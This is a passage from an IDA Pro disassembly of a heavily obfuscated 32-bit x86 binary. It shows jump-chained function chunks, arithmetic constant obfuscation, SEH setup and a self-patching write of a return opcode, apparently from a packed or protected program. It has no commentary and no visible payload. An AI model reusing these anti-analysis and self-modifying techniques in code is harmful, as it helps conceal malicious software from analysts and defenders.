		ror	eax, 1Eh
		xor	eax, 4786BBB0h
		ror	eax, 0Bh
		jno	loc_4488D2
		xor	eax, 213D4451h
		jmp	loc_440781
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
		sub	edx, 90444BA2h
		jmp	sub_438399
; ---------------------------------------------------------------------------

locret_44648C:				; CODE XREF: y22d6.y.:00438585j
		retn
; ---------------------------------------------------------------------------

loc_44648D:				; CODE XREF: y22d6.y.:00445FE2j
		jmp	sub_44D088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_446492:				; CODE XREF: sub_4481EF+8B0j
		jz	loc_44B062
		jmp	loc_43BED8
; END OF FUNCTION CHUNK	FOR sub_4481EF

; =============== S U B	R O U T	I N E =======================================



sub_44649D	proc near		; DATA XREF: sub_445382:loc_44B156o
		call	sub_4480DE
		retn
sub_44649D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D45

loc_4464A3:				; CODE XREF: sub_444D45+58BAj
		jmp	loc_437A5C
; END OF FUNCTION CHUNK	FOR sub_444D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D025

loc_4464A8:				; CODE XREF: sub_43D025+14j
		jmp	loc_43A09B
; END OF FUNCTION CHUNK	FOR sub_43D025
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438F42

loc_4464AD:				; CODE XREF: sub_438F42+9j
		jmp	loc_44C86E
; END OF FUNCTION CHUNK	FOR sub_438F42
; ---------------------------------------------------------------------------
		dw 5A0h
dword_4464B4	dd 0			; DATA XREF: sub_43B252+6r
					; sub_43B252:loc_43C517r ...
; ---------------------------------------------------------------------------

loc_4464B8:				; CODE XREF: y22d6.y.:004499E9j
		jmp	loc_44B45E

; =============== S U B	R O U T	I N E =======================================



sub_4464BD	proc near		; CODE XREF: sub_401000+1D0p
					; sub_4464BD+5j
					; DATA XREF: ...
		call	sub_4464C8
		jmp	ds:off_41E02C
sub_4464BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4464C8	proc near		; CODE XREF: sub_43B489+7j sub_4464BDp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437A2C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B495 SIZE 0000000A BYTES

		jo	loc_43B495
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_444CBF
sub_4464C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4464D7:				; CODE XREF: sub_4432B8-5488j
		call	sub_449739
		mov	ds:dword_446DBC, eax
		call	sub_43760A
		push	offset loc_43C76A
		jmp	nullsub_372
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_4464F1:				; CODE XREF: sub_43B98D:loc_444D67j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_44221B
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jmp	loc_43E1C3
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_446510:				; CODE XREF: sub_447896-522Cj
		push	edi

loc_446511:				; CODE XREF: sub_43C55B:loc_43F8C9j
		push	0C107A0EBh
		pop	edi
		sub	edi, 0F8EFC704h
		cmp	edi, 0FEA6AAD4h
		jmp	loc_44240E
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_446528:				; CODE XREF: sub_4431CD+10j
		jz	loc_4422D0
		jmp	loc_4449B0
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_446533:				; CODE XREF: sub_43B7D4+AB9Cj
		pop	ebx
		sub	edx, 0C6E92AA9h
		mov	ebp, [edi]
		jmp	loc_44E2DD
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------

loc_446541:				; CODE XREF: y22d6.y.:loc_44B170j
		call	sub_44ABDD
		push	692E28F6h
		pop	eax
		sub	eax, 0AECEF9Ah
		xor	eax, 90CCB960h
		add	eax, 3EDF3910h
		jmp	loc_442010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_446563:				; CODE XREF: sub_448EB6+233Fj
		shr	ecx, 1Dh
		sub	ebx, edi
		cdq

loc_446569:				; CODE XREF: sub_448EB6:loc_4406B6j
		push	40E424EFh
		pop	eax
		or	eax, 0BC19B32Fh
		jmp	loc_4484B2
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_44657A:				; CODE XREF: sub_447896:loc_44240Ej
					; sub_447896-547Ej
		add	edi, 382A06F9h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_43E39E
		call	sub_444AD7

loc_44658E:				; CODE XREF: sub_446F34+3E77j
		jmp	loc_44ABF4
; END OF FUNCTION CHUNK	FOR sub_447896
; ---------------------------------------------------------------------------
		xchg	edx, [edi]
		jmp	sub_4411BD
; ---------------------------------------------------------------------------
		dw 0F520h
dword_44659C	dd 77E75CB5h		; DATA XREF: sub_4394F3+8r
					; sub_448E18:loc_4399E5r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_4465A0:				; CODE XREF: sub_44921D-6B1j
		jmp	loc_44838E
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_4465A5:				; CODE XREF: sub_44123E+1781j
		jmp	loc_44531C
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------
		dw 1CAh
dword_4465AC	dd 2			; DATA XREF: sub_43837F:loc_43B2F8r
					; sub_43837F+2F98r ...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 6 dup(2), 1Ch dup(1)
		dd 5 dup(2), 1,	2, 19h dup(1), 10h dup(402h), 10h dup(1)
		dd 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3	dup(0C2h), 3 dup(2)
		dd 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h), 3	dup(1)
		dd 2, 1C2h, 3 dup(2), 3	dup(1),	2, 1C2h, 0Bh dup(2), 2 dup(1)
		dd 1C2h, 7 dup(2), 5 dup(1), 2,	9 dup(1), 3 dup(2), 1
		dd 2, 2	dup(1),	2 dup(2), 1, 3 dup(2), 1, 2, 1,	2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E091

loc_446DAC:				; CODE XREF: sub_44E091+Dj
		jmp	sub_43DB23
; END OF FUNCTION CHUNK	FOR sub_44E091
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_446DB1:				; CODE XREF: sub_43A6E1+866Fj
		jmp	loc_4430DE
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B656

loc_446DB6:				; CODE XREF: sub_43B656+3586j
		jmp	nullsub_272
; END OF FUNCTION CHUNK	FOR sub_43B656
; ---------------------------------------------------------------------------
		db 25h
dword_446DBC	dd 77EB36A5h		; DATA XREF: sub_4432B8-6B2Fw
					; sub_4432B8+3224w
dword_446DC0	dd 0			; DATA XREF: sub_44540D+3o
					; sub_445DB1+10o ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB85

loc_446DC4:				; CODE XREF: sub_44CB85+4j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44CB85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA5D

loc_446DC9:				; CODE XREF: sub_43DA5D+13j
		jmp	loc_43C317
; END OF FUNCTION CHUNK	FOR sub_43DA5D
; ---------------------------------------------------------------------------

loc_446DCE:				; CODE XREF: y22d6.y.:loc_441978j
		sbb	ecx, 8F114760h
		shr	edi, 3
		jmp	loc_4447BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_446DDC:				; CODE XREF: sub_448EB6:loc_44903Aj
		jz	loc_442100

loc_446DE2:				; CODE XREF: sub_447CBE-F79Cj
		jmp	loc_448D1B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		add	esi, 0A06467A1h
		push	0ED4E5B2Fh
		sub	ebx, ecx
		jmp	loc_442100
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_446DF9:				; CODE XREF: sub_437901:loc_43BE0Ej
		jbe	loc_44A776
		cmp	edi, 0F3EF15D7h
		jmp	loc_4457D1
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------

loc_446E0A:				; DATA XREF: sub_44BA8D+Bo
		jz	loc_44528B
		mov	eax, ds:dword_441950
		mov	eax, [eax]
		mov	ds:dword_441954, eax
		jmp	loc_444177
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_446E22:				; CODE XREF: y22d6.y.:0043DF96j
		jmp	loc_4471F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_446E27:				; CODE XREF: sub_4432B8-8D75j
		jmp	loc_445021
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_352. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_446E2D:				; CODE XREF: y22d6.y.:00440128j
		jmp	loc_43B3B4
; ---------------------------------------------------------------------------
		jnz	loc_44A432
		xor	ebx, 0C59023E9h
		jmp	loc_44B398
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_446E43:				; CODE XREF: sub_44BCC2-939Bj
		push	1932D331h
		xchg	ebp, edx

loc_446E4A:				; CODE XREF: sub_44BCC2:loc_44291Bj
		add	edx, 2DA8977h
		xchg	edx, [esp+0]
		jmp	loc_44D4F7
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_446E58:				; CODE XREF: sub_4450FD:loc_437DB2j
		jnz	loc_44591F
		jmp	loc_43A702
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		sub	edi, 395585C5h
		jmp	sub_4409F4
; ---------------------------------------------------------------------------

loc_446E6E:				; CODE XREF: y22d6.y.:0044A989j
		jnb	loc_449DA2

loc_446E74:				; CODE XREF: y22d6.y.:loc_43706Cj
		rol	esi, 9
		sub	esi, 93DE4C48h
		xor	esi, 86A6E4h
		add	esi, 9D44C9DCh
		mov	[esi], eax
		pop	esi
		jmp	locret_44033F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_446E91:				; CODE XREF: sub_44B1D2:loc_43C21Aj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_437CFE
		jmp	loc_43C7AF
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_446EA4:				; CODE XREF: y22d6.y.:00441812j
		push	eax
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_446EA5:				; CODE XREF: sub_43C22F:loc_4417FCj
		sub	edi, 0AB9F9EF0h
		xor	edi, 0C4DCFFA0h
		add	edi, 69D07AF9h
		jmp	loc_443DA0
; END OF FUNCTION CHUNK	FOR sub_43C22F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_446EBD:				; CODE XREF: sub_43FBC3:loc_44CF9Fj
		push	0B341A2EFh
		pop	ebx
		xor	ebx, 5C865BBBh
		rol	ebx, 4
		add	ebx, 3C24BE2h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_8
		jmp	loc_4391B1
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_446EE0:				; CODE XREF: sub_43CBD3:loc_43F7D4j
					; sub_44271A:loc_44AC93j
		jl	loc_43F3B7
		jmp	loc_4404AD
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------

loc_446EEB:				; CODE XREF: y22d6.y.:0044A154j
		add	edx, 0AA9FF8A0h
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_43D646
		jmp	loc_44A203
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443BD2

loc_446F00:				; CODE XREF: sub_443BD2+18j
		push	13A8394Ah
		pop	ebx
		add	ebx, 6837E4B1h
		rol	ebx, 14h
		add	ebx, 208C814Ch
		popf
		xchg	ebx, [esp+0]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_443BD2
; ---------------------------------------------------------------------------

loc_446F1E:				; CODE XREF: y22d6.y.:00445398j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_446F1F	proc near		; CODE XREF: sub_4385ED+1298Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044B4F3 SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	7727B36Fh
		pop	esi
		xor	esi, 0BC9EC7ECh
		jmp	loc_44B4F3
sub_446F1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_446F34	proc near		; DATA XREF: sub_43D5FEo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B3DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C2D9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E384 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441710 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00441D67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ABF4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044AD9F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044CA97 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D323 SIZE 0000001F BYTES

		push	edx
		push	33A8662Ch
		pop	edx
		sub	edx, ds:4000E8h
		add	edx, 6D09D4EFh
		jmp	loc_43B3DC
sub_446F34	endp

; ---------------------------------------------------------------------------

loc_446F4C:				; CODE XREF: y22d6.y.:0043E61Fj
		test	ecx, ebp
		jmp	loc_43A78F
; ---------------------------------------------------------------------------

loc_446F53:				; CODE XREF: y22d6.y.:004488F8j
		ja	loc_44B58A
		xor	esi, eax
		jle	loc_44BAE4
		jmp	loc_44A1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_446F66:				; CODE XREF: sub_44B1D2:loc_4436D1j
		jg	loc_44106E
		jmp	loc_44C867
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		mov	ds:dword_4401EC, edx

loc_446F79:				; CODE XREF: y22d6.y.:00445EC0j
					; y22d6.y.:0044C05Ej
		xchg	eax, edx
		push	offset sub_4401E3
		jmp	locret_43BB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BADD

loc_446F84:				; CODE XREF: sub_44BADD+1Cj
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_44BADD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_446F88:				; CODE XREF: sub_4480DE+Ej
		jmp	loc_445FA4
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AC5C

loc_446F8D:				; CODE XREF: sub_43AC5C+1338Cj
		push	offset loc_43E150
		jmp	nullsub_266
; END OF FUNCTION CHUNK	FOR sub_43AC5C
; ---------------------------------------------------------------------------

loc_446F97:				; CODE XREF: y22d6.y.:0044728Dj
		mov	eax, [esp]
		call	sub_43E48C
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_446F9F:				; CODE XREF: sub_44B81B-7653j
		jmp	loc_448A14
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------

loc_446FA4:				; CODE XREF: y22d6.y.:0044889Cj
		mov	ds:off_41E0AC, eax
		lea	eax, sub_44B81B
		call	sub_437236
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_446FB5:				; CODE XREF: sub_4432B8+3D58j
		jmp	loc_43FFF9
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_446FBA:				; CODE XREF: y22d6.y.:0043F98Bj
		jbe	loc_44811A

loc_446FC0:				; CODE XREF: y22d6.y.:loc_439128j
		and	ecx, 0ECA0B191h

loc_446FC6:				; CODE XREF: y22d6.y.:loc_4418BFj
		add	ecx, 5BC1E018h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_447977
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_446FD5:				; CODE XREF: sub_441F08-2870j
		jmp	loc_44360D
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_446FDA:				; CODE XREF: sub_438B66+5F31j
		jmp	loc_44D2A1
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

loc_446FDF:				; CODE XREF: y22d6.y.:0043A932j
		jmp	loc_43A6CB
; ---------------------------------------------------------------------------

loc_446FE4:				; CODE XREF: y22d6.y.:0044AC21j
		mov	ecx, 60BF1E07h

; =============== S U B	R O U T	I N E =======================================



sub_446FE9	proc near		; CODE XREF: sub_44B17B:loc_44A88Ap
		xchg	edi, [esp+0]
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		jmp	loc_44E2A5
sub_446FE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_446FF7:				; CODE XREF: sub_4432B8-32AAj
		mov	eax, 0CE14EFFFh
		call	sub_43F7FF
		mov	ds:off_41E044, eax
		lea	eax, loc_43FFF9
		mov	byte ptr [eax],	0C3h
		jmp	loc_446FB5
; ---------------------------------------------------------------------------

loc_447015:				; CODE XREF: sub_4432B8:loc_43FFF9j
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_449FAE
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_443106
		jmp	loc_43D0C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44702D:				; CODE XREF: sub_4432B8+83j
		xchg	eax, [esp+4+var_4]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4432B8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_447036:				; CODE XREF: y22d6.y.:0044C401j
		and	ebx, 904019Fh
		rol	ebx, 11h
		add	ebx, 65D0D8A3h
		rol	ebx, 1
		jmp	loc_43D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_44704C:				; CODE XREF: sub_444427:loc_449910j
		mov	edx, edi

loc_44704E:				; CODE XREF: y22d6.y.:loc_4424A6j
		pop	edi
		mov	eax, [esp+0]
		push	edx
		call	sub_43887A
		jmp	loc_44231A
; END OF FUNCTION CHUNK	FOR sub_444427
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44705D:				; CODE XREF: sub_444D95:loc_44CDA7j
					; sub_444D95+9044j
		push	offset loc_448112
		jmp	loc_44D7C9
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C222

loc_447067:				; CODE XREF: sub_44C222+208j
		jle	loc_4437FA

loc_44706D:				; CODE XREF: sub_44C222-FECDj
		add	ecx, 966D80F7h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_44A770
; END OF FUNCTION CHUNK	FOR sub_44C222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44707B:				; CODE XREF: sub_448EB6+2F09j
		jns	loc_44424A
		mov	[edx], edi
		shl	esi, 15h
		jmp	loc_44B7CC
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44708B:				; CODE XREF: y22d6.y.:loc_43EEE0j
		jnz	loc_447EF7
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_447091:				; CODE XREF: sub_44B489-7FBj
		jmp	loc_4478F9
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
		jz	loc_43A3B3

loc_44709C:				; CODE XREF: y22d6.y.:loc_4388C1j
		popf
		jmp	loc_447EEC
; ---------------------------------------------------------------------------
		xchg	ebx, edx
		jmp	sub_4476FF
; ---------------------------------------------------------------------------

loc_4470A9:				; DATA XREF: sub_439932-95Eo
		pop	ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4470AC:				; CODE XREF: sub_448EB6+3F40j
		jmp	loc_44D975
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_4470B1	proc near		; CODE XREF: sub_43FFBB:loc_448797p

; FUNCTION CHUNK AT 0043CBAE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043F7B8 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_448039
		call	sub_4404D1
		mov	edx, [ebx+3Ch]
		jmp	loc_43F7B8
sub_4470B1	endp

; ---------------------------------------------------------------------------

loc_4470D1:				; CODE XREF: y22d6.y.:00445EC6j
		jz	loc_442036
		jmp	loc_43A66E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_4470DC:				; CODE XREF: sub_44066C:loc_44AFDBj
		add	eax, 0EE9B2978h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_447C90
		jmp	loc_44C57D
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4470F1:				; CODE XREF: sub_44B17B:loc_43A554j
		call	sub_441B5E

loc_4470F6:				; CODE XREF: sub_442856+BC3Fj
		jmp	loc_44882B
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFF

loc_4470FB:				; CODE XREF: sub_443AFF+6j
		jmp	loc_43CC84
; END OF FUNCTION CHUNK	FOR sub_443AFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_447100:				; CODE XREF: sub_4432B8+17Fj
		jmp	loc_4423DC
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_447105:				; CODE XREF: y22d6.y.:loc_44B575j
		jl	loc_43CEA3

loc_44710B:				; CODE XREF: y22d6.y.:00447939j
		jmp	loc_4458E9
; ---------------------------------------------------------------------------

loc_447110:				; CODE XREF: y22d6.y.:00438C7Dj
		jmp	loc_442911
; ---------------------------------------------------------------------------
		jge	loc_44BAD3
		or	eax, 4265F081h
		jno	sub_44CBE5
		xor	esi, edi
		xchg	eax, ecx
		jmp	loc_43CEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_447130:				; CODE XREF: sub_44B17B-80E4j
		jnz	loc_43CE6E

loc_447136:				; CODE XREF: sub_442FA7-9F9Bj
					; y22d6.y.:0044D0CBj
		jmp	loc_4411D8
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D041

loc_44713B:				; CODE XREF: sub_44D041+6j
		jmp	loc_442339
; END OF FUNCTION CHUNK	FOR sub_44D041
; ---------------------------------------------------------------------------
		test	ecx, esi
		jmp	loc_44A93B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_118. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		pop	edx
		jmp	loc_444AD2
; ---------------------------------------------------------------------------

loc_447157:				; DATA XREF: sub_44734D-C4BCo
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_447165:				; CODE XREF: sub_43D20E:loc_438290j
		call	sub_444DB4
; END OF FUNCTION CHUNK	FOR sub_43D20E
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_44716A:				; CODE XREF: sub_439E63+14Fj
		jmp	loc_443DD9
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E63C

loc_44716F:				; CODE XREF: sub_44E63C-ED32j
		jz	loc_44BFBD
		jmp	loc_43E1B4
; END OF FUNCTION CHUNK	FOR sub_44E63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EF1

loc_44717A:				; CODE XREF: sub_443EF1-3D13j
		mov	eax, offset dword_446DC0
		call	sub_43F4EA
		mov	eax, [ebp-4]
		push	offset loc_43F4E1
		jmp	loc_4393D6
; END OF FUNCTION CHUNK	FOR sub_443EF1
; ---------------------------------------------------------------------------
		jns	loc_43A4A0
		jmp	loc_4491D6
; ---------------------------------------------------------------------------

loc_44719C:				; DATA XREF: sub_44CB3F-3313o
		test	byte ptr [ebp-7], 8
		jz	loc_43CE51
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_43C3D7
		push	offset loc_4371A5
		jmp	locret_43E231
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C5

loc_4471B9:				; CODE XREF: sub_4418C5-7D34j
		mov	eax, [eax]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4418C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E313

loc_4471C5:				; CODE XREF: sub_44E313:loc_44E31Fj
		jmp	sub_43F4BB
; END OF FUNCTION CHUNK	FOR sub_44E313
; ---------------------------------------------------------------------------

loc_4471CA:				; DATA XREF: sub_43BEF7:loc_44506Co
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_444B53
		jmp	loc_43B0BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C466

loc_4471DB:				; CODE XREF: sub_43C466+17j
		add	ecx, 9B27330Dh
		add	ecx, ebp
		add	ecx, 0F4D5759Dh
		mov	[ecx], eax
		pop	ecx
		push	offset loc_43AE9B
		jmp	nullsub_91
; END OF FUNCTION CHUNK	FOR sub_43C466
; ---------------------------------------------------------------------------

loc_4471F6:				; CODE XREF: y22d6.y.:loc_446E22j
		call	sub_44ABDD
		push	0E29242BAh
		pop	eax
		or	eax, 29B47B2Ch
		jmp	loc_43FABC
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E124
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444131

loc_447212:				; CODE XREF: sub_444131-4D2Ej
		jmp	loc_43F23B
; END OF FUNCTION CHUNK	FOR sub_444131
